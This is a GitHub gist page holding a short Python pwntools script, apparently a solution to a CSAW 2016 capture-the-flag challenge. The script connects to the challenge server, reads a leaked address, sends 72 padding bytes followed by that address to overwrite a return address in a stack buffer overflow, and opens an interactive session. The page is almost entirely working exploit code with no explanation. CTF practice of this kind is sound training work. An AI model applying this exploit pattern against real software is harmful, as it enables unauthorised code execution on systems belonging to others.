Skip to content

Instantly share code, notes, and snippets.

@xinan
Created September 19, 2016 13:47
Show Gist options
  • Save xinan/9bc3181c7be964a0db6be20f20b36ce8 to your computer and use it in GitHub Desktop.
Save xinan/9bc3181c7be964a0db6be20f20b36ce8 to your computer and use it in GitHub Desktop.
#!/usr/bin/python
from pwn import *
r = remote('pwn.chal.csaw.io', 8000)
r.recvuntil('WOW:')
address = r.recvuntil('\n')[:-1]
payload = 'A' * 72 + p64(int(address, 16))
r.writeline(payload)
r.interactive()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment